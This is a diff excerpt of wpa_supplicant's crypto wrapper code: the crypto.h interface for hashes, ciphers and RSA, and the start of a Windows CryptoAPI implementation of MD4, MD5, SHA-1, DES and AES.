int __must_check aes_128_encrypt_block(const u8 *key, const u8 *in, u8 *out);
|
||||
int __must_check aes_128_ctr_encrypt(const u8 *key, const u8 *nonce,
|
||||
u8 *data, size_t data_len);
|
||||
int __must_check aes_128_eax_encrypt(const u8 *key,
|
||||
const u8 *nonce, size_t nonce_len,
|
||||
const u8 *hdr, size_t hdr_len,
|
||||
u8 *data, size_t data_len, u8 *tag);
|
||||
int __must_check aes_128_eax_decrypt(const u8 *key,
|
||||
const u8 *nonce, size_t nonce_len,
|
||||
const u8 *hdr, size_t hdr_len,
|
||||
u8 *data, size_t data_len, const u8 *tag);
|
||||
int __must_check aes_128_cbc_encrypt(const u8 *key, const u8 *iv, u8 *data,
|
||||
size_t data_len);
|
||||
int __must_check aes_128_cbc_decrypt(const u8 *key, const u8 *iv, u8 *data,
|
||||
size_t data_len);
|
||||
|
||||
#endif /* AES_WRAP_H */
|
|
@ -0,0 +1,469 @@
|
|||
/*
|
||||
* WPA Supplicant / wrapper functions for crypto libraries
|
||||
* Copyright (c) 2004-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*
|
||||
* This file defines the cryptographic functions that need to be implemented
|
||||
* for wpa_supplicant and hostapd. When TLS is not used, internal
|
||||
* implementation of MD5, SHA1, and AES is used and no external libraries are
|
||||
* required. When TLS is enabled (e.g., by enabling EAP-TLS or EAP-PEAP), the
|
||||
* crypto library used by the TLS implementation is expected to be used for
|
||||
* non-TLS needs, too, in order to save space by not implementing these
|
||||
* functions twice.
|
||||
*
|
||||
* Wrapper code for using each crypto library is in its own file (crypto*.c)
|
||||
* and one of these files is build and linked in to provide the functions
|
||||
* defined here.
|
||||
*/
|
||||
|
||||
#ifndef CRYPTO_H
|
||||
#define CRYPTO_H
|
||||
|
||||
/**
|
||||
* md4_vector - MD4 hash for data vector
|
||||
* @num_elem: Number of elements in the data vector
|
||||
* @addr: Pointers to the data areas
|
||||
* @len: Lengths of the data blocks
|
||||
* @mac: Buffer for the hash
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac);
|
||||
|
||||
/**
|
||||
* md5_vector - MD5 hash for data vector
|
||||
* @num_elem: Number of elements in the data vector
|
||||
* @addr: Pointers to the data areas
|
||||
* @len: Lengths of the data blocks
|
||||
* @mac: Buffer for the hash
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac);
|
||||
|
||||
#ifdef CONFIG_FIPS
|
||||
/**
|
||||
* md5_vector_non_fips_allow - MD5 hash for data vector (non-FIPS use allowed)
|
||||
* @num_elem: Number of elements in the data vector
|
||||
* @addr: Pointers to the data areas
|
||||
* @len: Lengths of the data blocks
|
||||
* @mac: Buffer for the hash
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int md5_vector_non_fips_allow(size_t num_elem, const u8 *addr[],
|
||||
const size_t *len, u8 *mac);
|
||||
#else /* CONFIG_FIPS */
|
||||
#define md5_vector_non_fips_allow md5_vector
|
||||
#endif /* CONFIG_FIPS */
|
||||
|
||||
|
||||
/**
|
||||
* sha1_vector - SHA-1 hash for data vector
|
||||
* @num_elem: Number of elements in the data vector
|
||||
* @addr: Pointers to the data areas
|
||||
* @len: Lengths of the data blocks
|
||||
* @mac: Buffer for the hash
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len,
|
||||
u8 *mac);
|
||||
|
||||
/**
|
||||
* fips186_2-prf - NIST FIPS Publication 186-2 change notice 1 PRF
|
||||
* @seed: Seed/key for the PRF
|
||||
* @seed_len: Seed length in bytes
|
||||
* @x: Buffer for PRF output
|
||||
* @xlen: Output length in bytes
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*
|
||||
* This function implements random number generation specified in NIST FIPS
|
||||
* Publication 186-2 for EAP-SIM. This PRF uses a function that is similar to
|
||||
* SHA-1, but has different message padding.
|
||||
*/
|
||||
int __must_check fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x,
|
||||
size_t xlen);
|
||||
|
||||
/**
|
||||
* sha256_vector - SHA256 hash for data vector
|
||||
* @num_elem: Number of elements in the data vector
|
||||
* @addr: Pointers to the data areas
|
||||
* @len: Lengths of the data blocks
|
||||
* @mac: Buffer for the hash
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len,
|
||||
u8 *mac);
|
||||
|
||||
/**
|
||||
* des_encrypt - Encrypt one block with DES
|
||||
* @clear: 8 octets (in)
|
||||
* @key: 7 octets (in) (no parity bits included)
|
||||
* @cypher: 8 octets (out)
|
||||
*/
|
||||
void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher);
|
||||
|
||||
/**
|
||||
* aes_encrypt_init - Initialize AES for encryption
|
||||
* @key: Encryption key
|
||||
* @len: Key length in bytes (usually 16, i.e., 128 bits)
|
||||
* Returns: Pointer to context data or %NULL on failure
|
||||
*/
|
||||
void * aes_encrypt_init(const u8 *key, size_t len);
|
||||
|
||||
/**
|
||||
* aes_encrypt - Encrypt one AES block
|
||||
* @ctx: Context pointer from aes_encrypt_init()
|
||||
* @plain: Plaintext data to be encrypted (16 bytes)
|
||||
* @crypt: Buffer for the encrypted data (16 bytes)
|
||||
*/
|
||||
void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt);
|
||||
|
||||
/**
|
||||
* aes_encrypt_deinit - Deinitialize AES encryption
|
||||
* @ctx: Context pointer from aes_encrypt_init()
|
||||
*/
|
||||
void aes_encrypt_deinit(void *ctx);
|
||||
|
||||
/**
|
||||
* aes_decrypt_init - Initialize AES for decryption
|
||||
* @key: Decryption key
|
||||
* @len: Key length in bytes (usually 16, i.e., 128 bits)
|
||||
* Returns: Pointer to context data or %NULL on failure
|
||||
*/
|
||||
void * aes_decrypt_init(const u8 *key, size_t len);
|
||||
|
||||
/**
|
||||
* aes_decrypt - Decrypt one AES block
|
||||
* @ctx: Context pointer from aes_encrypt_init()
|
||||
* @crypt: Encrypted data (16 bytes)
|
||||
* @plain: Buffer for the decrypted data (16 bytes)
|
||||
*/
|
||||
void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain);
|
||||
|
||||
/**
|
||||
* aes_decrypt_deinit - Deinitialize AES decryption
|
||||
* @ctx: Context pointer from aes_encrypt_init()
|
||||
*/
|
||||
void aes_decrypt_deinit(void *ctx);
|
||||
|
||||
|
||||
enum crypto_hash_alg {
|
||||
CRYPTO_HASH_ALG_MD5, CRYPTO_HASH_ALG_SHA1,
|
||||
CRYPTO_HASH_ALG_HMAC_MD5, CRYPTO_HASH_ALG_HMAC_SHA1
|
||||
};
|
||||
|
||||
struct crypto_hash;
|
||||
|
||||
/**
|
||||
* crypto_hash_init - Initialize hash/HMAC function
|
||||
* @alg: Hash algorithm
|
||||
* @key: Key for keyed hash (e.g., HMAC) or %NULL if not needed
|
||||
* @key_len: Length of the key in bytes
|
||||
* Returns: Pointer to hash context to use with other hash functions or %NULL
|
||||
* on failure
|
||||
*
|
||||
* This function is only used with internal TLSv1 implementation
|
||||
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
|
||||
* to implement this.
|
||||
*/
|
||||
struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key,
|
||||
size_t key_len);
|
||||
|
||||
/**
|
||||
* crypto_hash_update - Add data to hash calculation
|
||||
* @ctx: Context pointer from crypto_hash_init()
|
||||
* @data: Data buffer to add
|
||||
* @len: Length of the buffer
|
||||
*
|
||||
* This function is only used with internal TLSv1 implementation
|
||||
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
|
||||
* to implement this.
|
||||
*/
|
||||
void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len);
|
||||
|
||||
/**
|
||||
* crypto_hash_finish - Complete hash calculation
|
||||
* @ctx: Context pointer from crypto_hash_init()
|
||||
* @hash: Buffer for hash value or %NULL if caller is just freeing the hash
|
||||
* context
|
||||
* @len: Pointer to length of the buffer or %NULL if caller is just freeing the
|
||||
* hash context; on return, this is set to the actual length of the hash value
|
||||
* Returns: 0 on success, -1 if buffer is too small (len set to needed length),
|
||||
* or -2 on other failures (including failed crypto_hash_update() operations)
|
||||
*
|
||||
* This function calculates the hash value and frees the context buffer that
|
||||
* was used for hash calculation.
|
||||
*
|
||||
* This function is only used with internal TLSv1 implementation
|
||||
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
|
||||
* to implement this.
|
||||
*/
|
||||
int crypto_hash_finish(struct crypto_hash *ctx, u8 *hash, size_t *len);
|
||||
|
||||
|
||||
enum crypto_cipher_alg {
|
||||
CRYPTO_CIPHER_NULL = 0, CRYPTO_CIPHER_ALG_AES, CRYPTO_CIPHER_ALG_3DES,
|
||||
CRYPTO_CIPHER_ALG_DES, CRYPTO_CIPHER_ALG_RC2, CRYPTO_CIPHER_ALG_RC4
|
||||
};
|
||||
|
||||
struct crypto_cipher;
|
||||
|
||||
/**
|
||||
* crypto_cipher_init - Initialize block/stream cipher function
|
||||
* @alg: Cipher algorithm
|
||||
* @iv: Initialization vector for block ciphers or %NULL for stream ciphers
|
||||
* @key: Cipher key
|
||||
* @key_len: Length of key in bytes
|
||||
* Returns: Pointer to cipher context to use with other cipher functions or
|
||||
* %NULL on failure
|
||||
*
|
||||
* This function is only used with internal TLSv1 implementation
|
||||
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
|
||||
* to implement this.
|
||||
*/
|
||||
struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg,
|
||||
const u8 *iv, const u8 *key,
|
||||
size_t key_len);
|
||||
|
||||
/**
|
||||
* crypto_cipher_encrypt - Cipher encrypt
|
||||
* @ctx: Context pointer from crypto_cipher_init()
|
||||
* @plain: Plaintext to cipher
|
||||
* @crypt: Resulting ciphertext
|
||||
* @len: Length of the plaintext
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*
|
||||
* This function is only used with internal TLSv1 implementation
|
||||
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
|
||||
* to implement this.
|
||||
*/
|
||||
int __must_check crypto_cipher_encrypt(struct crypto_cipher *ctx,
|
||||
const u8 *plain, u8 *crypt, size_t len);
|
||||
|
||||
/**
|
||||
* crypto_cipher_decrypt - Cipher decrypt
|
||||
* @ctx: Context pointer from crypto_cipher_init()
|
||||
* @crypt: Ciphertext to decrypt
|
||||
* @plain: Resulting plaintext
|
||||
* @len: Length of the cipher text
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*
|
||||
* This function is only used with internal TLSv1 implementation
|
||||
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
|
||||
* to implement this.
|
||||
*/
|
||||
int __must_check crypto_cipher_decrypt(struct crypto_cipher *ctx,
|
||||
const u8 *crypt, u8 *plain, size_t len);
|
||||
|
||||
/**
|
||||
* crypto_cipher_decrypt - Free cipher context
|
||||
* @ctx: Context pointer from crypto_cipher_init()
|
||||
*
|
||||
* This function is only used with internal TLSv1 implementation
|
||||
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
|
||||
* to implement this.
|
||||
*/
|
||||
void crypto_cipher_deinit(struct crypto_cipher *ctx);
|
||||
|
||||
|
||||
struct crypto_public_key;
|
||||
struct crypto_private_key;
|
||||
|
||||
/**
|
||||
* crypto_public_key_import - Import an RSA public key
|
||||
* @key: Key buffer (DER encoded RSA public key)
|
||||
* @len: Key buffer length in bytes
|
||||
* Returns: Pointer to the public key or %NULL on failure
|
||||
*
|
||||
* This function can just return %NULL if the crypto library supports X.509
|
||||
* parsing. In that case, crypto_public_key_from_cert() is used to import the
|
||||
* public key from a certificate.
|
||||
*
|
||||
* This function is only used with internal TLSv1 implementation
|
||||
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
|
||||
* to implement this.
|
||||
*/
|
||||
struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len);
|
||||
|
||||
/**
|
||||
* crypto_private_key_import - Import an RSA private key
|
||||
* @key: Key buffer (DER encoded RSA private key)
|
||||
* @len: Key buffer length in bytes
|
||||
* @passwd: Key encryption password or %NULL if key is not encrypted
|
||||
* Returns: Pointer to the private key or %NULL on failure
|
||||
*
|
||||
* This function is only used with internal TLSv1 implementation
|
||||
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
|
||||
* to implement this.
|
||||
*/
|
||||
struct crypto_private_key * crypto_private_key_import(const u8 *key,
|
||||
size_t len,
|
||||
const char *passwd);
|
||||
|
||||
/**
|
||||
* crypto_public_key_from_cert - Import an RSA public key from a certificate
|
||||
* @buf: DER encoded X.509 certificate
|
||||
* @len: Certificate buffer length in bytes
|
||||
* Returns: Pointer to public key or %NULL on failure
|
||||
*
|
||||
* This function can just return %NULL if the crypto library does not support
|
||||
* X.509 parsing. In that case, internal code will be used to parse the
|
||||
* certificate and public key is imported using crypto_public_key_import().
|
||||
*
|
||||
* This function is only used with internal TLSv1 implementation
|
||||
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
|
||||
* to implement this.
|
||||
*/
|
||||
struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf,
|
||||
size_t len);
|
||||
|
||||
/**
|
||||
* crypto_public_key_encrypt_pkcs1_v15 - Public key encryption (PKCS #1 v1.5)
|
||||
* @key: Public key
|
||||
* @in: Plaintext buffer
|
||||
* @inlen: Length of plaintext buffer in bytes
|
||||
* @out: Output buffer for encrypted data
|
||||
* @outlen: Length of output buffer in bytes; set to used length on success
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*
|
||||
* This function is only used with internal TLSv1 implementation
|
||||
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
|
||||
* to implement this.
|
||||
*/
|
||||
int __must_check crypto_public_key_encrypt_pkcs1_v15(
|
||||
struct crypto_public_key *key, const u8 *in, size_t inlen,
|
||||
u8 *out, size_t *outlen);
|
||||
|
||||
/**
|
||||
* crypto_private_key_decrypt_pkcs1_v15 - Private key decryption (PKCS #1 v1.5)
|
||||
* @key: Private key
|
||||
* @in: Encrypted buffer
|
||||
* @inlen: Length of encrypted buffer in bytes
|
||||
* @out: Output buffer for encrypted data
|
||||
* @outlen: Length of output buffer in bytes; set to used length on success
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*
|
||||
* This function is only used with internal TLSv1 implementation
|
||||
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
|
||||
* to implement this.
|
||||
*/
|
||||
int __must_check crypto_private_key_decrypt_pkcs1_v15(
|
||||
struct crypto_private_key *key, const u8 *in, size_t inlen,
|
||||
u8 *out, size_t *outlen);
|
||||
|
||||
/**
|
||||
* crypto_private_key_sign_pkcs1 - Sign with private key (PKCS #1)
|
||||
* @key: Private key from crypto_private_key_import()
|
||||
* @in: Plaintext buffer
|
||||
* @inlen: Length of plaintext buffer in bytes
|
||||
* @out: Output buffer for encrypted (signed) data
|
||||
* @outlen: Length of output buffer in bytes; set to used length on success
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*
|
||||
* This function is only used with internal TLSv1 implementation
|
||||
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
|
||||
* to implement this.
|
||||
*/
|
||||
int __must_check crypto_private_key_sign_pkcs1(struct crypto_private_key *key,
|
||||
const u8 *in, size_t inlen,
|
||||
u8 *out, size_t *outlen);
|
||||
|
||||
/**
|
||||
* crypto_public_key_free - Free public key
|
||||
* @key: Public key
|
||||
*
|
||||
* This function is only used with internal TLSv1 implementation
|
||||
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
|
||||
* to implement this.
|
||||
*/
|
||||
void crypto_public_key_free(struct crypto_public_key *key);
|
||||
|
||||
/**
|
||||
* crypto_private_key_free - Free private key
|
||||
* @key: Private key from crypto_private_key_import()
|
||||
*
|
||||
* This function is only used with internal TLSv1 implementation
|
||||
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
|
||||
* to implement this.
|
||||
*/
|
||||
void crypto_private_key_free(struct crypto_private_key *key);
|
||||
|
||||
/**
|
||||
* crypto_public_key_decrypt_pkcs1 - Decrypt PKCS #1 signature
|
||||
* @key: Public key
|
||||
* @crypt: Encrypted signature data (using the private key)
|
||||
* @crypt_len: Encrypted signature data length
|
||||
* @plain: Buffer for plaintext (at least crypt_len bytes)
|
||||
* @plain_len: Plaintext length (max buffer size on input, real len on output);
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int __must_check crypto_public_key_decrypt_pkcs1(
|
||||
struct crypto_public_key *key, const u8 *crypt, size_t crypt_len,
|
||||
u8 *plain, size_t *plain_len);
|
||||
|
||||
/**
|
||||
* crypto_global_init - Initialize crypto wrapper
|
||||
*
|
||||
* This function is only used with internal TLSv1 implementation
|
||||
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
|
||||
* to implement this.
|
||||
*/
|
||||
int __must_check crypto_global_init(void);
|
||||
|
||||
/**
|
||||
* crypto_global_deinit - Deinitialize crypto wrapper
|
||||
*
|
||||
* This function is only used with internal TLSv1 implementation
|
||||
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
|
||||
* to implement this.
|
||||
*/
|
||||
void crypto_global_deinit(void);
|
||||
|
||||
/**
|
||||
* crypto_mod_exp - Modular exponentiation of large integers
|
||||
* @base: Base integer (big endian byte array)
|
||||
* @base_len: Length of base integer in bytes
|
||||
* @power: Power integer (big endian byte array)
|
||||
* @power_len: Length of power integer in bytes
|
||||
* @modulus: Modulus integer (big endian byte array)
|
||||
* @modulus_len: Length of modulus integer in bytes
|
||||
* @result: Buffer for the result
|
||||
* @result_len: Result length (max buffer size on input, real len on output)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*
|
||||
* This function calculates result = base ^ power mod modulus. modules_len is
|
||||
* used as the maximum size of modulus buffer. It is set to the used size on
|
||||
* success.
|
||||
*
|
||||
* This function is only used with internal TLSv1 implementation
|
||||
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
|
||||
* to implement this.
|
||||
*/
|
||||
int __must_check crypto_mod_exp(const u8 *base, size_t base_len,
|
||||
const u8 *power, size_t power_len,
|
||||
const u8 *modulus, size_t modulus_len,
|
||||
u8 *result, size_t *result_len);
|
||||
|
||||
/**
|
||||
* rc4_skip - XOR RC4 stream to given data with skip-stream-start
|
||||
* @key: RC4 key
|
||||
* @keylen: RC4 key length
|
||||
* @skip: number of bytes to skip from the beginning of the RC4 stream
|
||||
* @data: data to be XOR'ed with RC4 stream
|
||||
* @data_len: buf length
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*
|
||||
* Generate RC4 pseudo random stream for the given key, skip beginning of the
|
||||
* stream, and XOR the end result with the data buffer to perform RC4
|
||||
* encryption/decryption.
|
||||
*/
|
||||
int rc4_skip(const u8 *key, size_t keylen, size_t skip,
|
||||
u8 *data, size_t data_len);
|
||||
|
||||
#endif /* CRYPTO_H */
|
|
@ -0,0 +1,789 @@
|
|||
/*
|
||||
* Crypto wrapper for Microsoft CryptoAPI
|
||||
* Copyright (c) 2005-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
#include <windows.h>
|
||||
#include <wincrypt.h>
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
|
||||
#ifndef MS_ENH_RSA_AES_PROV
|
||||
#ifdef UNICODE
|
||||
#define MS_ENH_RSA_AES_PROV \
|
||||
L"Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)"
|
||||
#else
|
||||
#define MS_ENH_RSA_AES_PROV \
|
||||
"Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)"
|
||||
#endif
|
||||
#endif /* MS_ENH_RSA_AES_PROV */
|
||||
|
||||
#ifndef CALG_HMAC
|
||||
#define CALG_HMAC (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HMAC)
|
||||
#endif
|
||||
|
||||
#ifdef __MINGW32_VERSION
|
||||
/*
|
||||
* MinGW does not yet include all the needed definitions for CryptoAPI, so
|
||||
* define here whatever extra is needed.
|
||||
*/
|
||||
|
||||
static BOOL WINAPI
|
||||
(*CryptImportPublicKeyInfo)(HCRYPTPROV hCryptProv, DWORD dwCertEncodingType,
|
||||
PCERT_PUBLIC_KEY_INFO pInfo, HCRYPTKEY *phKey)
|
||||
= NULL; /* to be loaded from crypt32.dll */
|
||||
|
||||
|
||||
static int mingw_load_crypto_func(void)
|
||||
{
|
||||
HINSTANCE dll;
|
||||
|
||||
/* MinGW does not yet have full CryptoAPI support, so load the needed
|
||||
* function here. */
|
||||
|
||||
if (CryptImportPublicKeyInfo)
|
||||
return 0;
|
||||
|
||||
dll = LoadLibrary("crypt32");
|
||||
if (dll == NULL) {
|
||||
wpa_printf(MSG_DEBUG, "CryptoAPI: Could not load crypt32 "
|
||||
"library");
|
||||
return -1;
|
||||
}
|
||||
|
||||
CryptImportPublicKeyInfo = GetProcAddress(
|
||||
dll, "CryptImportPublicKeyInfo");
|
||||
if (CryptImportPublicKeyInfo == NULL) {
|
||||
wpa_printf(MSG_DEBUG, "CryptoAPI: Could not get "
|
||||
"CryptImportPublicKeyInfo() address from "
|
||||
"crypt32 library");
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#else /* __MINGW32_VERSION */
|
||||
|
||||
static int mingw_load_crypto_func(void)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __MINGW32_VERSION */
|
||||
|
||||
|
||||
static void cryptoapi_report_error(const char *msg)
|
||||
{
|
||||
char *s, *pos;
|
||||
DWORD err = GetLastError();
|
||||
|
||||
if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
|
||||
FORMAT_MESSAGE_FROM_SYSTEM,
|
||||
NULL, err, 0, (LPTSTR) &s, 0, NULL) == 0) {
|
||||
wpa_printf(MSG_DEBUG, "CryptoAPI: %s: %d", msg, (int) err);
|
||||
}
|
||||
|
||||
pos = s;
|
||||
while (*pos) {
|
||||
if (*pos == '\n' || *pos == '\r') {
|
||||
*pos = '\0';
|
||||
break;
|
||||
}
|
||||
pos++;
|
||||
}
|
||||
|
||||
wpa_printf(MSG_DEBUG, "CryptoAPI: %s: %d: (%s)", msg, (int) err, s);
|
||||
LocalFree(s);
|
||||
}
|
||||
|
||||
|
||||
int cryptoapi_hash_vector(ALG_ID alg, size_t hash_len, size_t num_elem,
|
||||
const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
HCRYPTPROV prov;
|
||||
HCRYPTHASH hash;
|
||||
size_t i;
|
||||
DWORD hlen;
|
||||
int ret = 0;
|
||||
|
||||
if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, 0)) {
|
||||
cryptoapi_report_error("CryptAcquireContext");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!CryptCreateHash(prov, alg, 0, 0, &hash)) {
|
||||
cryptoapi_report_error("CryptCreateHash");
|
||||
CryptReleaseContext(prov, 0);
|
||||
return -1;
|
||||
}
|
||||
|
||||
for (i = 0; i < num_elem; i++) {
|
||||
if (!CryptHashData(hash, (BYTE *) addr[i], len[i], 0)) {
|
||||
cryptoapi_report_error("CryptHashData");
|
||||
CryptDestroyHash(hash);
|
||||
CryptReleaseContext(prov, 0);
|
||||
}
|
||||
}
|
||||
|
||||
hlen = hash_len;
|
||||
if (!CryptGetHashParam(hash, HP_HASHVAL, mac, &hlen, 0)) {
|
||||
cryptoapi_report_error("CryptGetHashParam");
|
||||
ret = -1;
|
||||
}
|
||||
|
||||
CryptDestroyHash(hash);
|
||||
CryptReleaseContext(prov, 0);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
||||
int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
return cryptoapi_hash_vector(CALG_MD4, 16, num_elem, addr, len, mac);
|
||||
}
|
||||
|
||||
|
||||
void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher)
|
||||
{
|
||||
u8 next, tmp;
|
||||
int i;
|
||||
HCRYPTPROV prov;
|
||||
HCRYPTKEY ckey;
|
||||
DWORD dlen;
|
||||
struct {
|
||||
BLOBHEADER hdr;
|
||||
DWORD len;
|
||||
BYTE key[8];
|
||||
} key_blob;
|
||||
DWORD mode = CRYPT_MODE_ECB;
|
||||
|
||||
key_blob.hdr.bType = PLAINTEXTKEYBLOB;
|
||||
key_blob.hdr.bVersion = CUR_BLOB_VERSION;
|
||||
key_blob.hdr.reserved = 0;
|
||||
key_blob.hdr.aiKeyAlg = CALG_DES;
|
||||
key_blob.len = 8;
|
||||
|
||||
/* Add parity bits to the key */
|
||||
next = 0;
|
||||
for (i = 0; i < 7; i++) {
|
||||
tmp = key[i];
|
||||
key_blob.key[i] = (tmp >> i) | next | 1;
|
||||
next = tmp << (7 - i);
|
||||
}
|
||||
key_blob.key[i] = next | 1;
|
||||
|
||||
if (!CryptAcquireContext(&prov, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL,
|
||||
CRYPT_VERIFYCONTEXT)) {
|
||||
wpa_printf(MSG_DEBUG, "CryptoAPI: CryptAcquireContext failed: "
|
||||
"%d", (int) GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
if (!CryptImportKey(prov, (BYTE *) &key_blob, sizeof(key_blob), 0, 0,
|
||||
&ckey)) {
|
||||
wpa_printf(MSG_DEBUG, "CryptoAPI: CryptImportKey failed: %d",
|
||||
(int) GetLastError());
|
||||
CryptReleaseContext(prov, 0);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!CryptSetKeyParam(ckey, KP_MODE, (BYTE *) &mode, 0)) {
|
||||
wpa_printf(MSG_DEBUG, "CryptoAPI: CryptSetKeyParam(KP_MODE) "
|
||||
"failed: %d", (int) GetLastError());
|
||||
CryptDestroyKey(ckey);
|
||||
CryptReleaseContext(prov, 0);
|
||||
return;
|
||||
}
|
||||
|
||||
os_memcpy(cypher, clear, 8);
|
||||
dlen = 8;
|
||||
if (!CryptEncrypt(ckey, 0, FALSE, 0, cypher, &dlen, 8)) {
|
||||
wpa_printf(MSG_DEBUG, "CryptoAPI: CryptEncrypt failed: %d",
|
||||
(int) GetLastError());
|
||||
os_memset(cypher, 0, 8);
|
||||
}
|
||||
|
||||
CryptDestroyKey(ckey);
|
||||
CryptReleaseContext(prov, 0);
|
||||
}
|
||||
|
||||
|
||||
int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
return cryptoapi_hash_vector(CALG_MD5, 16, num_elem, addr, len, mac);
|
||||
}
|
||||
|
||||
|
||||
int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
return cryptoapi_hash_vector(CALG_SHA, 20, num_elem, addr, len, mac);
|
||||
}
|
||||
|
||||
|
||||
struct aes_context {
|
||||
HCRYPTPROV prov;
|
||||
HCRYPTKEY ckey;
|
||||
};
|
||||
|
||||
|
||||
void * aes_encrypt_init(const u8 *key, size_t len)
|
||||
{
|
||||
struct aes_context *akey;
|
||||
struct {
|
||||
BLOBHEADER hdr;
|
||||
DWORD len;
|
||||
BYTE key[16];
|
||||
} key_blob;
|
||||
DWORD mode = CRYPT_MODE_ECB;
|
||||
|
||||
if (len != 16)
|
||||
return NULL;
|
||||
|
||||
key_blob.hdr.bType = PLAINTEXTKEYBLOB;
|
||||
key_blob.hdr.bVersion = CUR_BLOB_VERSION;
|
||||
key_blob.hdr.reserved = 0;
|
||||
key_blob.hdr.aiKeyAlg = CALG_AES_128;
|
||||
key_blob.len = len;
|
||||
os_memcpy(key_blob.key, key, len);
|
||||
|
||||
akey = os_zalloc(sizeof(*akey));
|
||||
if (akey == NULL)
|
||||
return NULL;
|
||||
|
||||
if (!CryptAcquireContext(&akey->prov, NULL,
|
||||
MS_ENH_RSA_AES_PROV, PROV_RSA_AES,
|
||||
CRYPT_VERIFYCONTEXT)) {
|
||||
wpa_printf(MSG_DEBUG, "CryptoAPI: CryptAcquireContext failed: "
|
||||
"%d", (int) GetLastError());
|
||||
os_free(akey);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (!CryptImportKey(akey->prov, (BYTE *) &key_blob, sizeof(key_blob),
|
||||
0, 0, &akey->ckey)) {
|
||||
wpa_printf(MSG_DEBUG, "CryptoAPI: CryptImportKey failed: %d",
|
||||
(int) GetLastError());
|
||||
CryptReleaseContext(akey->prov, 0);
|
||||
os_free(akey);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (!CryptSetKeyParam(akey->ckey, KP_MODE, (BYTE *) &mode, 0)) {
|
||||
wpa_printf(MSG_DEBUG, "CryptoAPI: CryptSetKeyParam(KP_MODE) "
|
||||
"failed: %d", (int) GetLastError());
|
||||
CryptDestroyKey(akey->ckey);
|
||||
CryptReleaseContext(akey->prov, 0);
|
||||
os_free(akey);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return akey;
|
||||
}
